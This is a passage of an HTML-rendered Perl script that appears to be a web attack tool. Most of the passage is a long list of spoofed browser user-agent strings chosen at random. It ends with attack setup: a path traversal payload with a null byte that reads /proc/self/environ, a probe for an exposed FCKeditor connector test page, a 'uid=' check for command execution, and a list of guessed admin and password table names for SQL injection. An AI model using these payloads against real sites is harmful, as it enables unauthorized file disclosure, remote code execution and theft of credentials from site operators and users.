style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 96:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 97:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 98:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 99:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;100:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;101:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;102:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;103:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;104:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;105:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;106:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;107:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;108:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;109:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;110:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;111:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;112:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;113:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;114:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;115:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;116:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;117:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;118:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;119:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;120:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/3.0 (OS/2; U)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;121:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;122:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.61 (Macintosh; I; PPC)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;123:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.61 [en] (OS/2; U)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;124:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;125:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.8 [en] (Windows NT 5.0; U)&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Alcatel-OH5/1.0 UP.Browser/6.1.0.7.7 (GUI) MMP/1.0&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;126:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Mobile/7D11&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;127:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;128:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;129:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;130:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C106c&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;131:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7D11&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;132:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;133:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) BlackBerry8707/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/150&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;134:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;135:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Gigabot/3.0 (http://www.gigablast.com/spider.html)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;136:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;137:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;138:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;139:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;140:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Infoseek SideWinder/2.0B (Linux 2.4 i686)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;141:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;142:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;143:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;144:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;145: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $uagent    = $uagents[&lt;span style=&quot;color: #0000ff&quot;&gt;rand&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;scalar&lt;/span&gt;(@uagents))];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;146: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $lfdtest   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;147: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $open_test = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;148: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $adm_output = (&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;uid=&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;149: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $open_output = (&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;FCKeditor - Connectors Tests&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;150: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;151: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; @tabele    = (&#39;admin&#39;,&#39;tblUsers&#39;,&#39;tblAdmin&#39;,&#39;user&#39;,&#39;users&#39;,&#39;username&#39;,&#39;usernames&#39;,&#39;usuario&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;152:           &#39;name&#39;,&#39;names&#39;,&#39;nombre&#39;,&#39;nombres&#39;,&#39;usuarios&#39;,&#39;member&#39;,&#39;members&#39;,&#39;admin_table&#39;,&#39;miembro&#39;,&#39;miembros&#39;,&#39;membername&#39;,&#39;admins&#39;,&#39;administrator&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;153:           &#39;administrators&#39;,&#39;passwd&#39;,&#39;password&#39;,&#39;passwords&#39;,&#39;pass&#39;,&#39;Pass&#39;,&#39;tAdmin&#39;,&#39;tadmin&#39;,&#39;user_password&#39;,&#39;user_passwords&#39;,&#39;user_name&#39;,&#39;user_names&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;154:           &#39;member_password&#39;,&#39;mods&#39;,&#39;mod&#39;,&#39;moderators&#39;,&#39;moderator&#39;,&#39;user_email&#39;,&#39;user_emails&#39;,&#39;user_mail&#39;,&#39;user_mails&#39;,&#39;mail&#39;,&#39;emails&#39;,&#39;email&#39;,&#39;address&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;155:           &#39;e-mail&#39;,&#39;emailaddress&#39;,&#39;correo&#39;,&#39;correos&#39;,&#39;phpbb_users&#39;,&#39;&lt;span style=&quot;color: #0000ff&quot;&gt;log&lt;/span&gt;&#39;,&#39;logins&#39;,&#39;login&#39;,&#39;registers&#39;,&#39;register&#39;,&#39;usr&#39;,&#39;usrs&#39;,&#39;ps&#39;,&#39;pw&#39;,&#39;un&#39;,&#39;u_name&#39;,&#39;u_pass&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;156:           &#39;tpassword&#39;,&#39;tPassword&#39;,&#39;u_password&#39;,&#39;nick&#39;,&#39;nicks&#39;,&#39;manager&#39;,&#39;managers&#39;,&#39;administrador&#39;,&#39;tUser&#39;,&#39;tUsers&#39;,&#39;administradores&#39;,&#39;clave&#39;,&#39;login_id&#39;,&#39;pwd&#39;,&#39;pas&#39;,&#39;sistema_id&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;157:           &#39;sistema_usuario&#39;,&#39;sistema_password&#39;,&#39;contrasena&#39;,&#39;auth&#39;,&#39;&lt;span style=&quot;color: #0000ff&quot;&gt;key&lt;/span&gt;&#39;,&#39;senha&#39;,&#39;tb_admin&#39;,&#39;tb_administrator&#39;,&#39;tb_login&#39;,&#39;tb_logon&#39;,&#39;tb_members_tb_member&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;158:           &#39;tb_users&#39;,&#39;tb_user&#39;,&#39;tb_sys&#39;,&#39;sys&#39;,&#39;fazerlogon&#39;,&#39;logon&#39;,&#39;fazer&#39;,&#39;authorization&#39;,&#39;membros&#39;,&#39;utilizadores&#39;,&#39;staff&#39;,&#39;nuke_authors&#39;,&#39;accounts&#39;,&#39;account&#39;,&#39;accnts&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;159:           &#39;associated&#39;,&#39;accnt&#39;,&#39;customers&#39;,&#39;customer&#39;,&#39;membres&#39;,&#39;administrateur&#39;,&#39;utilisateur&#39;,&#39;tuser&#39;,&#39;tusers&#39;,&#39;utilisateurs&#39;,&#39;password&#39;,&#39;amministratore&#39;,&#39;god&#39;,&#39;God&#39;,&#39;authors&#39;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;160:           &#39;asociado&#39;,&#39;asociados&#39;,&#39;autores&#39;,&#39;membername&#39;,&#39;autor&#39;,&#39;autores&#39;,&#39;Users&#39;,&#39;Admin&#39;,&#39;Members&#39;,&#39;Miembros&#39;,&#39;Usuario&#39;,&#39;Usuarios&#39;,&#39;ADMIN&#39;,&#39;USERS&#39;,&#39;&lt;span style=&quot;color: #0000ff&quot;&gt;USER&lt;/span&gt;&#39;,&#39;MEMBER&#39;,&#39;MEMBERS&#39;,&#39;USUARIO&#39;,&#39;USUARIOS&#39;,&#39;MIEMBROS&#39;,&#39;MIEMBRO&#39;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier 